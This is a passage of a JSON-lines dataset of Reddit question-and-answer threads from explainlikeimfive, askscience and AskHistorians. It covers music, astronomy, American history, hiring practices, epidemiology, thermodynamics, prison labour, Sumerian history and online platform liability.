"selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "8csd1f", "title": "kendrick lamar has been awarded the 2018 pulitzer prize in music for his album 'damn.' why is it (and his previous work, notably tpab) considered a masterpiece?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8csd1f/eli5_kendrick_lamar_has_been_awarded_the_2018/", "answers": {"a_id": ["dxhkr1a"], "score": [3], "text": ["He engages with social and economic issues on a level that few mainstream rappers ever have. He makes hits that everybody can get down with but speaks on serious issues too. Most of all though, his flows are crazy. Kendrick does wtf he wants musically. Of course the people he works with (Dr. Dre, Mixed By Ali, Pharell, Thundercat, Kamasi Washington, Sounnwave) contribute a great deal to the overall sound.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5m51t3", "title": "What is the average distance between Trojan asteroids at Jupiter's L4 and L5?", "selftext": "Just read NASA's press release about Lucy and Psyche, the former of which will explore six of Jupiter's Trojan asteroids. Got curious as to how densely packed these swarms of asteroids are at L4 and L5.\n\nFor the curious: _URL_0_ ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5m51t3/what_is_the_average_distance_between_trojan/", "answers": {"a_id": ["dc1lmwc"], "score": [7], "text": ["Lets do some math, per the wiki there [are 1 million](_URL_0_) that are over 1km in size. They orbit at 5.2 \u00b1 0.15 AU, there are two swarms that are 26\u00b0 long, and they have orbital inclinations of up to 40\u00b0 with a width of 0.6AU.\n\nAnyways, those numbers don't agree too tightly to me (orbits should match swarm size, but they don't seem too close, I think the 40 degree number is an extreme and the orbital radius is a small number. So assume each swarm is a cylinder, 26 degrees long (2.4 AU), and 0.3 AU in radius (half the width). That makes each swarm 0.68 AU^3 in volume, and the density of asteroids is 1 million/1.4 AU^3 or 714 thousand asteroids per AU^3.\n\nTo get an average distance, [using this](_URL_1_) I get 0.874\\*(3/(4\\*pi\\*714000))^(1/3) = 0.006 AU  (someone double check me). Anyways, that works out to just under 900,000km between asteroids which sounds right to me."]}, "title_urls": [], "selftext_urls": ["https://www.nasa.gov/press-release/nasa-selects-two-missions-to-explore-the-early-solar-system/"], "answers_urls": [["https://en.wikipedia.org/wiki/Jupiter_trojan", "https://en.wikipedia.org/wiki/Mean_inter-particle_distance"]]}
{"q_id": "ax1fkp", "title": "Why was James Madison Afraid of Paper Money?", "selftext": "In \"Federalist 10\" James Madison goes over the various \"immoral or wicked projects\" a faction leader could incite the people to support. Amongst these, he includes \"A rage for paper money\". Why was Madison wary of popular support for paper money? Was there popular support for paper money at the time?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ax1fkp/why_was_james_madison_afraid_of_paper_money/", "answers": {"a_id": ["ehs3ewu"], "score": [2], "text": [" & #x200B;\n\nThe Revolutionary War had been financed by borrowing. Some of it was international, from Spain , Holland and France.  Some of it was with promissory notes, like the Continental Currency that was paid to soldiers and used by the Army to pay for goods and services. This resulted in deflation, with hard currency, like Spanish gold dollars, becoming very scarce and more valuable. Because of this, there was an increased use of notes, essentially IOU's, that were passed around, especially in the rural areas. In Massachusetts the powerful Boston merchants could no longer buy from their foreign counterparts with only credit, and needed hard currency. They prevailed on the legislature to require all public debts to be paid with hard currency. Suddenly, in July of 1786, farmers discovered that unless they could find hard currency to pay their taxes, they could lose their farms. Debtors were unable to pay heir debts, and were thrown in jail. Even worse, quite a few had been in the Continental Army and had been paid with the valueless Continental currency. There were calls for a stay on foreclosures, debtor-relief laws,  and an inflated currency, but the legislature , dominated by the merchants and creditors, refused.  The result was Shay's Rebellion: a band of armed men led by a veteran of Bunker Hill and Saratoga. They appeared in Springfield and prevented the courts from doing business, i.e. taking their farms. The  rebellion was half-hearted, and the suppression of it as well. But it also forced the Massachusetts government to back away from the law. That  served as a warning to the States, that a population could take up arms over the issue and that a demagogue might use it. George Washington said, when he heard of it, that \"there are combustibles in every State, which a spark may set fire to\".  Madison was similarly worried about popular revolts. He was concerned about giving everyone the vote, and feared debtor-relief laws and paper currency : he was of the wealthy Virginia gentry, and such things undermined their authority and wealth. \"Men without reading, experience or principle\",  he said,were writing dangerous laws. \n\nThe huge national debt  was a major reason for the Convention to meet to draft a constitution: some sort of plan was needed for it to be paid. Money, paper or not, was generally on everyone's mind. The popular unrest made it more likely that, when they met, the delegates would consider not just a few small alterations to the Articles of Confederation but something much broader, creating a much more powerful federal government.\n\n & #x200B;\n\nJohn Ferling A Leap in the Dark"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "443645", "title": "before college became a requirement for many jobs, how did employers screen and filter out candidates?", "selftext": "Was there a thing as being \"overqualified\" for certain jobs? Based purely on work experience? For more professional, office jobs that didn't require a college degree, how were candidates evaluated? Was it purely working your way up at a company for life?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/443645/eli5before_college_became_a_requirement_for_many/", "answers": {"a_id": ["czn28pa", "czn3wbo", "czn4ibx", "czn6eso", "czn77mx", "czn7p77"], "score": [3, 18, 10, 3, 3, 3], "text": ["There have been colleges in the US since before it was a country. That being said before it became as much of a requirement as it is today it was based on work experience but mostly people would start at a entry level position and stay there, being promoted up through the ranks, until they retired. ", "Basically before the late 90s you got a job by 'knowing a guy'\n\nMost older people (over 50) you meet, if you ask them how they got into their career the story will start \"I knew this guy...\"", "Before the advent of the internet, it wasn't as common for employers to get bombarded with completely unqualified candidates spamming every open job in the world.  If people have to come in for in-person interviews to even do an initial screening, they're a lot less likely to be full of shit  &  wasting your time.\n\nKnowing people along with having industry certification, membership in a professional organization or belonging to trade unions were common ways to prove your worth.\n\nEmployment agencies were also used.  You'd have trusted third parties presenting you with applicants that were actually qualified for the jobs you wanted to fill.", "Before college was a requirement, it mattered what high school you went to. And who you trained or apprenticed with. Or, once you got some experience, the quality of your work. Or the trade school you went to and the recommendations you had. And connections. And where you worked before--people still had resumes. References and introductions were important, not so much because it of skill level but to show you're the \"right sort of person\". To get a job in a factory you might just be able to walk in. If a union job, you might need a union sponsor.", "They had to figure out if you actually knew how to do the job. For example, have you ever done this kind of work before? Where? How long?\n\nOne guy in his memoirs, told how he was hired on the spot when he told a potential employer that he had worked in a store before and liked it and thought he could do a good job. Later when he ran his own store he said he would hire anyone who seemed to know what he was doing and said the same thing. One person he would not hire, was someone who said he knew everything there was to know about running a store.\n\nAnother guy who ran a large machine shop in Detroit would only hire mechanics and machinists with fine hair. He thought fine hair went with the ability to do fine work. He can't have been too crazy, he ended up starting the Cadillac company.\n\nIt was easy to get a job back then because it was easy to fire someone. You could hire anyone who seemed likely to do a job, and if they didn't work out fire them with no red tape and hire someone else. In many cases no resume and no written application was required, and no paperwork for taxes and government forms. \n\nYou could read the biography of Anthony Quinn. Before he was an actor he was a day laborer and had dozens of jobs, some lasted a day, some lasted a few months, his friends thought he was bullshitting because every time some occupation came up in conversation it was something he was familiar with but most working men could say the same thing. Robert Mitchum likewise had a variety of jobs from picking fruit to working in an airplane factory to advance man for an astrologer even though he never finished grade school.", "For skilled jobs there were apprenticeships. You had to sign papers to become an apprentice and when you finished you would get documents to prove you were trained. If you applied for a job the boss would ask to see your papers, ask a few questions, and that was it.\n\nBefore the 1950s less than 5% of the population had a college degree. In the 19th century you could be a doctor or dentist by calling yourself one, and if you wanted a sheepskin from a medical school the course of study took about 6 months. Likewise for preachers, a Harvard course in theology might take several years but few preachers had such degrees.\n\nLincoln is believed to have had less than a year of formal schooling. He worked as a farmer, rail splitter,  boatman, store keeper, surveyor, soldier and lawyer before he got into politics. He was self educated and got his legal training by working in a law office. This was typical of the times.\n\nMark Twain came from one of the richer families in his home town. But his schooling ended at 13 when he was apprenticed to his brother, a printer. He never completed the apprenticeship but worked as a printer, newspaperman, riverboat pilot (after another apprenticeship) government clerk and miner before gaining fame as a lecturer and writer. He remarked that before he became a literary celebrity the only thing he had to be proud of, was that he had been independent and supported himself since he was 13. But that wasn't much to brag on, since it was so common."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1lqpib", "title": "Are communicable diseases rarer among small isolated tribes?", "selftext": "It would stand to reason that small isolated tribes would rarely be exposed to new viruses and would almost never experience common colds, the flu, etc.  Is there any evidence establishing this to be the case?  How common were colds among more isolated Native American tribes, for example? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lqpib/are_communicable_diseases_rarer_among_small/", "answers": {"a_id": ["cc26w18"], "score": [3], "text": [" >  Are communicable diseases rarer among small isolated tribes? \n\nYes. The most important thing for the persistence of most infectious diseases is population size. When you only have a few people in a community, there's more chance for a disease to go locally extinct when there no non-immune people left or, by chance, the one or two infected people never manage to pass it on. This is called \"fade-out\". In a large community, however, those chance effects get smoothed over so there's always somebody passing it on. There's lots of evidence for this dynamic when you [compare urban versus rural communities](_URL_1_), for example. \n\nThe main exception would be [exposure to pathogens from other species](_URL_0_). Isolated communities in sub-saharan Africa that depend on \"bush meat\", for example, have greater exposure to zoonotic HIV viruses because they butcher primates for food. There's a lot of blood involved. \n\n >  How common were colds among more isolated Native American tribes, for example? \n\n[Before European contact, North America was a densely populated place](_URL_2_). That's part of the reason smallpox spread so quickly. Aside from that, though, we're still only in the beginning stages of research on infectious diseases before good historic records. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nature.com/scitable/knowledge/library/non-human-primates-retroviruses-and-zoonotic-infection-59119998", "http://rspb.royalsocietypublishing.org/content/277/1695/2775.full", "https://en.wikipedia.org/wiki/1491:_New_Revelations_of_the_Americas_Before_Columbus"]]}
{"q_id": "akwhli", "title": "If the temperature of a gas reaches absolute zero, what would happen to the volume, rather, what would the volume be?", "selftext": "[deleted]", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/akwhli/if_the_temperature_of_a_gas_reaches_absolute_zero/", "answers": {"a_id": ["ef91qfu", "efcc8ln"], "score": [50, 2], "text": ["First, this is a gas, hence we should consider how gases behave according to the [ideal gas law](_URL_15_):\n\n# PV = nRT\n\n(P = pressure; V = volume; n = [moles of gas](_URL_19_); R = [ideal gas constant](_URL_16_); T = absolute temperature, usually in K.)\n\nTypically, we use the [kelvin scale](_URL_12_) to represent absolute temperatures. \"Absolute zero\"^\u2020 in kelvin is exactly 0 K. Since we are asking what would happen to the volume, we can rearrange this equation to\n\n# V = nRT/P\n\nHowever, since T becomes zero, R is a constant, and the amount of gas (n) is constant, it does not matter what happens to the pressure. The volume, V, will approach zero. \n\nNow, the _ideal gas law_ is a an approximation, hence the use of \"ideal\" in the name. It breaks down under real conditions and for real gases. As Wikipedia clearly expresses:\n\n >  Since **the ideal gas law neglects both molecular size and inter molecular attractions**, it is most accurate for monatomic gases at high temperatures and low pressures. The neglect of molecular size becomes less important for lower densities, _i.e._ for larger volumes at lower pressures, because the average distance between adjacent molecules becomes much larger than the molecular size. \n\nSo at high densities (V approaching zero), we come up against the fact that gas molecules do, in fact, have finite volumes. Working at atmospheric pressure, every [nobel gas](_URL_2_) will freeze forming a crystalline solid,^\u2020 [with the exception of helium (see: phase diagrams)](_URL_8_) which has [superfluid phases](_URL_9_). \n\nSo for most gases, excluding helium, it would depend on\n\n1. The initial number of moles of the gas.\n2. The chemical identity of the gas.\n3. Details of the crystal structure (size of the unit cell and number of atoms/molecules per unit cell) of the species (whether mono-atomic or molecular) in the solid state (which [may depend on the pressure](_URL_11_)).\n\n**So as an example, consider neon:** \n\n1. Let's say that we have 1 mole molecules/atoms.\n2. We're using neon.\n3. [Neon's crystal structure details are readily found](_URL_7_) although you can always go back to the original literature and read a few papers:\n    * [\"On the Crystal Structure of Neon\"](_URL_20_) in [Proceedings of the Koninklijke Nederlandse Akademie van Wetenschappen (1930) 33, 255-257](_URL_18_). \n    * [\"Measurements of Lattice Constant, Thermal Expansion, and Isothermal Compressibility of Neon Single Crystals\", Phys. Rev. (1967) 162, 767.](_URL_4_)\n    * [\"Lattice dynamics of solid neon at 6.5 and 23.7 K\", Phys. Rev. (1975) B 11, 1681.](_URL_0_)\n\n\n\nGiven that neon has a [face centred cubic unit cell](_URL_3_), we have 4 atoms per unit cell. The dimensions of each edge is ~ 446.6 [pm](_URL_10_) (the exact number varies according to measurement type and temperature, but we'll use that). For FCC, the volume of one unit cell is three times the edge length. Each unit cell contains 4 neon atoms, so the \"volume per atom\" is one quarter of the unit cell. And we have 1 mole of atoms, which is 6.02214086 \u00d7 10^23 atoms. So if we do the calculation:\n\n >  (446.6 \u00d7 10^-12 m)^3 \u00d7 4^-1 \u00d7 6.02214086 \u00d7 10^23 \u00d7 10^6 mL\u00b7m^-3\n\n >  = 13.41 mL\n\nWe calculate that 1 mole of neon, weighing 20.1797 g, would have a volume of 13.41 mL, presuming a perfect, solid crystal at absolute zero (0 K or -273.15 \u00b0C). Different gases would have have volumes that vary depending on their [crystal structure](_URL_21_).  If we just used the ideal gas law, we would predict that it would have a volume of 0 mL. The ideal gas law works well at [STP (0 \u00b0C and 1 atm) where 1 mole has a volume of 22.4 L](_URL_14_), but this breaks down at extremely low temperatures because \"the ideal gas law neglects both molecular size and inter molecular attractions\". \n\nTL;DR: Because of the size of gas particles (molecules or atoms) and the (repulsive) intermolecular forces between them, a real gas can't squeeze down to zero volume at absolute zero. Instead, the gas molecules will usually form a crystal.^\u2020 \n\n***\n\n^\u2020 Given that we're discussing **absolute zero**, it is useful to check the [laws of thermodynamics](_URL_13_), specifically, the [third law of thermodynamics](_URL_5_). One of the expressions of the 3rd law is:\n\n >   If the entropy of each element in some (perfect) crystalline state be taken as zero at the absolute zero of temperature, every substance has a finite positive entropy; but at the absolute zero of temperature the entropy may become zero, and does so become in the case of perfect crystalline substances.\n\nHence at absolute zero, substances will form a perfect crystal, as there is only one single configuration (or \"microstate\") possible. This connects to the understanding of [entropy](_URL_17_) as representing the number of possible microstates. Since perfect crystals have every atom in a precisely defined position, there is only one configuration possible. Thus the entropy of that state, calculated as S = k ln(\u03a9) = 0, since \u03a9 = 1, the number of possible microstates. \n\nThis also creates [interesting implications](_URL_6_) when considering [superfluid helium](_URL_1_). ", "(Note, I assume your question comes out of looking a the ideal gas law and seeing V=0 when T=0.)\n\nFirst, it is thermodynamically impossible to reach absolute 0, (though we can get arbitrarily close to it), so the question is what happens as we approach absolute zero.\n\nSecond, for \"reasonable\" pressures almost all elements are solid as they approach absolute zero, or, in a few cases like helium, liquid. Therefore, as you lower the temperature, at some point it would condense and then freeze, and no longer obey the ideal gas law and have some volume related to the properties of that phase (see u/MurphysLab's response)\n\nHowever it is true that if you consider a [typical phase diagram](_URL_1_) you\u00b4ll see that they often indicate a solid-gas (or liquid-gas)phase boundary that starts at absolute zero temperature and pressure. Now probably those lines aren't supposed to be accurate at very small temperature and pressure (I think some substances might solidify at a certain temperature even for arbitrarily low pressures) but even if we assume that we are able to keep reducing the pressure to prevent the material from freezing (or condensing)  and that the ideal gas law applies then we see that even as volume decreases due to temperature reduction, it at the same time increases due to pressure reduction. So we would never reach V=0 and would be approaching some sort of undefined singularity at V = 0/0. Before you got there you would produce a [bose-einstein condenate](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://journals.aps.org/prb/abstract/10.1103/PhysRevB.11.1681", "https://cds.cern.ch/record/808382/files/p363.pdf", "https://en.wikipedia.org/wiki/Noble_gas", "https://web2.clarkson.edu/projects/nanomat/Chapter1html/chapters/fcc.html", "https://journals.aps.org/pr/abstract/10.1103/PhysRev.162.767", "https://en.wikipedia.org/wiki/Third_law_of_thermodynamics", "https://physics.stackexchange.com/questions/109941/is-entropy-of-all-systems-zero-at-absolute-zero", "http://periodictable.com/Elements/010/data.html", "http://ltl.tkk.fi/research/theory/helium.html", "https://en.wikipedia.org/wiki/Superfluid_helium-4", "https://en.wikipedia.org/wiki/Picometre", "https://www.reddit.com/r/askscience/comments/aklnhr/can_manufacturers_use_high_pressures_to_melt/ef5y2ap/", "https://en.wikipedia.org/wiki/Kelvin", "https://en.wikipedia.org/wiki/Laws_of_thermodynamics", "http://hyperphysics.phy-astr.gsu.edu/hbase/Kinetic/idegas.html", "https://en.wikipedia.org/wiki/Ideal_gas_law", "https://en.wikipedia.org/wiki/Gas_constant", "https://en.wikipedia.org/wiki/Entropy", "http://crystallography-online.com/structure/1010148", "https://en.wikipedia.org/wiki/Amount_of_substance", "http://www.dwc.knaw.nl/DL/publications/PU00015884.pdf", "https://en.wikipedia.org/wiki/Crystal_structure"], ["https://en.wikipedia.org/wiki/Bose%E2%80%93Einstein_condensate", "http://ltl.tkk.fi/research/theory/TypicalPD.gif"]]}
{"q_id": "955ox8", "title": "I've seen conspiracies asserting that U.S. prison systems are a legal continuation of slavery very often on Reddit. Does this idea have credible historical merit? What historically is the relationship between U.S. prisons' use of \"free\" labor and the end of slavery, if any?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/955ox8/ive_seen_conspiracies_asserting_that_us_prison/", "answers": {"a_id": ["e3r5378", "e3r6fea", "e3rdrie"], "score": [302, 113, 74], "text": ["It\u2019s not really a conspiracy theory because it is codified in the 13th Amendment which reads:\n\n\u201cSection 1. Neither slavery nor involuntary servitude, except as a punishment for crime whereof the party shall have been duly convicted, shall exist within the United States, or any place subject to their jurisdiction.\n\nSection 2. Congress shall have power to enforce this article by appropriate legislation.\u201d\n\nBecause you refer to a \u201ccontinuation of slavery,\u201d I\u2019m going to assume that you are focused on prisons as a continuation of the enslavement of African Americans, and focus the rest my response there.\n\nThat clause \u201cexcept as a punishment for a crime...\u201d is the subject of many works by contemporary legal and Africana scholars who assert that this caveat has been used since the earliest days of the 13th Amendment to allow a form of legalized slavery which encouraged the criminalization of blacks in the South who were not allowed to sit on juries and thus almost always convicted of any charges brought against them.\n\nOne of the early programs that most closely resembled slavery was convict leasing. This is a program that allowed the state to lease its convicts to private companies. It\u2019s pretty damning as a \u201cconspiracy\u201d by the Southern states to continue having access to a virtually free labor force that was primarily African American (ie practically slavery) for a few reasons:\n\n1. It was practiced as early as 1844 but exploded immediately following the Emancipation Proclamation.\n2. The companies most likely to use bonded labor happened to be the same companies that heavily relied on slaves previously: plantations and railroad construction corporations\n3. African American men made up the majority of bonded laborers because they were targeted disproportionately by law enforcement and sentenced more harshly.\n4. Only in the South (as opposed to the north), the state gave up complete control of the prisoners such that their bonded labor was served almost entirely at the corporation that bought their lease.\n\nFor more on this, you should read Douglas A. Blackmon\u2019s book \u201cSlavery by Another Name: The Re-Enslavement of Black Americans from the Civil War to World War II.\u201d \n\nThe other post\u2019s author gets in to the affects of the drug war on modern prison populations but i would like to expand on it a little bit.\n\nThere is some evidence (Edit: though it\u2019s veracity is debated) from an interview with a former Nixon top adviser that the War on Drugs was essentially perpetrated as a means to harass \u201cBlacks and hippies.\u201d And whether or not this is true, it has definitely turned out that way for the former. Though white and black people use marijuana at the same rate, a black person is 3.73 times more likely to be arrested. \n\n_URL_1_\n\nAnd overall, African Americans are disproportionately likely to be subject to stops and searches, arrests, prosecutions and plea negotiations, trials, and sentencing (20% longer sentences on average than comparable crimes committed by white offenders). It also affects the availability of plea agreements, likeliness of a life without parole sentence, likeliness of a death sentence, enforcement of school zone sentencing laws (which can drastically increase sentences), as well as the famous 100 to 1 disparity in mandatory minimum sentencing for crack vs cocaine.\n\n_URL_0_\n\nThe intentionality of this system (the \u201cconspiracy\u201d element of your question) is debatable. Outside of the contested quote by the Nixon advisor, the evidence of racist intent in the formation of these racially disparate systems is sparse even if their impact is clear. \n\nI suggest checking out \u201cThirteenth\u201d on Netflix. It does a great job of laying out this progression from slavery to the modern \u201cschool-to-prison\u201d pipeline. (Edit*: For the modern prison system, it can present statistics in a way that is misleading or sometimes inaccurate but most of these issues are limited to the final section on crime policy since Clinton not the historical sections, and not the progression of slavery to the modern school-to-prison pipeline as suggested. Yes, it is a documentary with an agenda but it\u2019s history for the era between the Civil War and the mid 90s is useful for a quick overview even if it is a little light on explaining the use of prisons during the Civil Rights movement.)", "It absolutely has \"credible historical merit,\" as you put it.\n\nOne could certainly read the Tennessee State Constitution as directly permitting slavery as punishment for a crime.  See *Constitution of Tennessee*, Art. 1, s 33 (1870).\n\n >   That slavery and involuntary servitude, except as a punishment for crime, whereof the party shall have been duly convicted, are forever prohibited in this state.\n\nThis provision was used as the basis of the state's \"Convict Labor\" system, largely the work of Nashville publisher and political boss Arthur St. Clair Colyar and his cronies in 1871.  They obtained a lease on convicts so that companies run by these men could benefit from the free labor (or un-free labor, depending on your point of view).  Notably, these convicts worked for the Tennessee Coal, Iron and Railroad Company (aka TCI, later part of US Steel).  TCI's founder and principal investor was none other than Arthur St. Clair Colyar.  However, the lion's share of TCI's convict leasing occurred in Alabama, and the practice continued there until 1928.\n\nColyar was nakedly unapologetic about his motivations for engaging in the convict lease system: it was cheap, strike-proof labor.  Immediately after the American Civil War, the decimated southern states began rebuilding.  Much of the economic activity has been described as \"exploitative and colonial.\"   The southerners who found jobs worked for out of town management, and paid rent to absentee landlords.  A northern business magnate could make a tidy sum selling materials with which to rebuild a typical town square, and might well end up owning the buildings outright.  The profits, however, were invested on Wall Street, not reinvested in Main Street.  Local raw materials were not processed locally, but taken by the carload to distant (i.e. northern) points for preparation and sale.  The nature of this activity resulted in depressed wages, and workers often went on strike not to gain higher wages, but to retaliate against threatened wage cuts.  These strikes were occasionally successful, but frequently violent, even deadly affairs.\n\nRich deposits of coal and iron were being mined near Gadsden, Alabama, all the way up to Johnson City, Tennessee and beyond.  Rented convicts, the majority of whom were black, displaced the mostly white miners.  Many of the black convicts were born after the Civil War and thus, were never slaves.  They absolutely resented being treated as second-class citizens when they rightly knew that they had been born free.  Black men and women bristled under these so-called \"black codes,\" violations of which could result in a prison sentence and \"hard labor.\"  In Nashville, able-bodied black men were shipped off to rail construction camps or coal mines in East Tennessee.  By the late 1880s and early 1890s, reform-minded state legislators inspected these camps, where the filthy conditions were shockingly deplorable.  One report described them as \"hell-holes,\" and another declared them to be \"a shame upon the state.\"\n\nIn July of 1891, the recently unemployed miners of Briceville, Tennessee were fed up.  They surrounded the convict stockade and demanded that the guards surrender at once.  The guards and their prisoners retreated to Knoxville by train, 30 miles southeast.  Several days later, Governor J.P. Buchanan, personally commanding the state militia, marched the convicts back to Briceville.  The miners stood their ground and on July 20, the convicts and militia retreated back to Knoxville.  The miners then marched to Coal Creek (now ~~Lake City~~ Rocky Top) and harassed the prison guards and convict laborers there.  Facing the threat of insurrection, Governor Buchanan called up 600 state militia, but the miners wouldn't budge.  That is, until a representative of the Governor promised that a special session of the State Legislature would be called to reconsider the state's convict lease program.  They reconsidered it alright, with so many members in the pockets of wealthy interests, the laws regarding the convict lease system were strengthened, not repealed.  \n\nThe miners resorted to guerilla tactics: burning camps, freeing convicts, and even shootouts with the state militia.  The state eventually conceded defeat when they realized that they had spent $200,000 ($5.4 million today) in state revenue on pay for the militia, but earned only $75,000 ($2.1 million today) from the convict leasing fees.  With continued unrest and increasing unpopularity, the Tennessee General Assembly repealed the convict lease program in 1893, and built a new prison in 1896 (Brushy Mountain, closed in 2009) where convicts would mine coal for direct sale by the state.  What is now called the \"Coal Miner's War\" was now over.  That same year the last of the TCIs convict leases expired. \n\nSource: Bergeron, et al., *Tennesseans and their History*  University of Tennessee Press, Knoxville (1999), pp 199-201.\n\nAs we can see, the US prison system is, when viewed through this prism, a continuation of slavery.\n\nedit: fixed typos.", "The easiest way to trace slavery's legacy in the modern American penal system is through convict leasing. Others have talked about it briefly, so I'll add only a little information. \n\n\"Convict leasing,\" a system whereby the state \"leased\" incarcerated people to private enterprise to be used for labor, had many of the trappings of slavery, with people of color placed in bondage and used for the benefit of (white) landowners. \n\nA brief summary of the practice, what it looked like, and why it happened: \n\n > With certain political and economic advantages to recommend it, convict leasing served as \"the mainstay of the penal most southern states\" in the post-Civil War era. Those who the prisoners kept the convicts hidden from public view lease camps and so removed them from the public consciousness. The convicts provided a good source of labor to rebuild the structure of the South that the Civil War had demolished. And while the system spared the state the expense of convict care, in some cases convict leasing actually made a profit. Because many southern states required their prisons to be financially self-sufficient, the profit-making convict leasing system survived despite certain serious problems which emerged shortly after the system was put into place.\n\nFrom Arkansas Historical Quarterly, [\"The Long Struggle to End Convict Leasing in Arkansas.\"](_URL_0_)\n\nIt might be tempting to brush this off, assuming, well, these people were convicted of crimes so who cares what the state did with them? But the criminal codes of the post-war South were devised with the deliberate goal of increasing black incarceration, and that's exactly what they achieved. Michelle Alexander covers this topic in her book, *The New Jim Crow* -- pages 28-29. (If you come across someone inclined to discount her as an activist rather than a historian, she footnoted her book very thoroughly and you don't have to take her word for it.) These new \"black codes\" were established for the secondary, if not primary purpose of \"control[ing] the freedmen\" -- a quote from one of Alexander's sources, not her writing -- and achieved that goal by criminalizing homelessness and unemployment, two things that ran rampant among the just-freed black population of the South. \n\nFast forward to the 1950s or so and much of that infrastructure remained in effect. Even after the abolition of convict leasing, and the dawn of the civil rights era, Southern states often balked at investing in humane prison systems and forced their (still predominantly black) incarcerated population to farm for their own subsistence and even police themselves, making the early modern southern prison look a lot like a slave plantation. This was especially true in Arkansas, where the two main state prisons, Cummins Farm and Tucker Farm, implied by their very names that incarcerated people were treated little better than slaves. You'll find a thorough description of those conditions in Malcolm Feeley  &  Edward Rubin, *Judicial Policy Making and the Modern State: How the Courts Reformed America's Prisons*, pages 45-55. \n\nThose systems were broken up by a spate of 1950s and 1960s-era civil rights litigation, so the legacy of slavery remained a very real force in American corrections into the recent past. (You can read more about that in a forthcoming book chapter I wrote with the American Enterprise Institute!) And arguably the legacy still lives on today, where people of color are disproportionately policed and incarcerated, but that might be outside the scope of the question! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.aclu.org/sites/default/files/assets/141027_iachr_racial_disparities_aclu_submission_0.pdf", "https://www.aclu.org/issues/smart-justice/war-marijuana-black-and-white"], [], ["http://www.jstor.org/stable/40030832"]]}
{"q_id": "2x5lel", "title": "Do we have any good ideas on what the term \"black headed people\" meant?", "selftext": "I know this is what the ancient Sumerians called themselves, I feel that this name is so unusual and that it is also unusual that we seem to know so little about it", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2x5lel/do_we_have_any_good_ideas_on_what_the_term_black/", "answers": {"a_id": ["cox5i35"], "score": [5], "text": ["Your question intrigued me, and so I decided to do a little research.  Generally, it is unknown exactly where the Sumerians came from, as most of what we know of them as a distinct culture comes from the texts they wrote.\n\nAfter wading through a bunch of crazy people talking about how they were Africans, aliens, asians, who knows what, I found a blog by someone who makes some very interesting claims and cites a lot of scholarly articles.  He suggests that the \"black-headed people\" were a foreign elite who invaded and imposed their language on the semitic-speaking local populace.  He suggests that they were called \"black-headed\" because they wore their hair long and wore beards while everyone else tended toward shaved heads.  He uses a bunch of cylinder seals and other artistic depictions of people from the Uruk period, and the people depicted as having hair are depicted as larger, often holding weapons, and are more heavily clothed.  This may indicate that the \"black-headed people\" were referred to as such because of their hair.\n\nHere is a link to the post:\n_URL_0_\n\nNow, understand that this blog author has not published any of his work, and is not part of the academic community, so take this explanation with a grain of salt.\n\nHowever, what scholars do know is that Sumerian is a language isolate, meaning it is unrelated to any other known language, modern or ancient, and therefore it has been argued because of this that the Sumerians are not native to Mesopotamia, since all the other languages of that region have been derived from the Semitic language family.  It is possible that the Sumerians were from Mesopotamia somewhere but were self-sufficient enough that their language formed independently of the Sumerians.\n\nHowever, the nature of loan words in Sumerian and Semitic language such as Akkadian, this blogger argues, indicate that Semitic was the technical language, as there are more Semitic loan words in Sumerian than the other way around. This may indicate that the Sumerians laid their culture and language as a veneer over the existing Semitic culture of the region.\n\nHowever, we don't really know one way or the other.  I think this is a plausible argument, but I'm not an expert on the Uruk and Ubaid periods in Mesopotamia, so please do take this with a grain of salt.\n\nIt's a much better idea than trying to conclude that it meant they were from Africa."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://armchairprehistory.com/2011/08/10/the-black-haired-sumerian-elite/"]]}
{"q_id": "3idn0f", "title": "if snapchat owns all the photos taken with the app, why isn't the owner being charged with possession of child pornography?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3idn0f/eli5if_snapchat_owns_all_the_photos_taken_with/", "answers": {"a_id": ["cufhdcu", "cufhp5s", "cufhv00", "cuflqev", "cufplr8", "cufptux", "cufpxll", "cufpz02", "cufq9og"], "score": [322, 9, 821, 48, 2, 25, 2, 7, 2], "text": ["For the same reason as you aren't guilty of child pornography if a 12-y/o sends you an UNSOLICITED dick pic.\n\nThe relevant word here is culpa. You need to have made a culpable action.\n\n", "Assuming its the same reason sites like mediafire and other file sharing sites dont have legal action against them for pirating\n\nThey have features which allows the bad content to be reported and the user/content banned deleted, you cant expect them to look through every image as its posted as thats simply impossible without thousands of people constantly staring at pictures every day, same way filesharing sites only take down content when its reported since they cant possibly know that your summer2015.rar file is actually the new avengers movie \n\n\nWhen its brought to their attention they take appropriate action which is why no one even tries to take legal action, however if they condoned it or did nothing when the content was reported then they could face legal action and be shut down", "Snapchat doesn't own the photos taken with the app. You can read their Terms of Use:\n\n >  You retain all ownership rights in your User Content. However, by submitting User Content to Snapchat, you hereby grant us an irrevocable, nonexclusive, worldwide, perpetual, royalty-free, sublicensable, and transferable license to use, reproduce, modify, adapt, edit, publish, create derivative works from, distribute, perform, promote, exhibit, and display such User Content in any and all media or distribution methods, now known or later developed (the \"User Content License\"), subject to any privacy settings you have set to control who can see your User Content.", "They are protected as a service provider.  Just like the phone company.  The phone company is not responsible for illegal phone calls (threats, bomb scares, etc) because they are merely a service provider.  Likewise your internet provider is not responsible if a customer downloads child porn crosses their network.\n\nExactly what you need 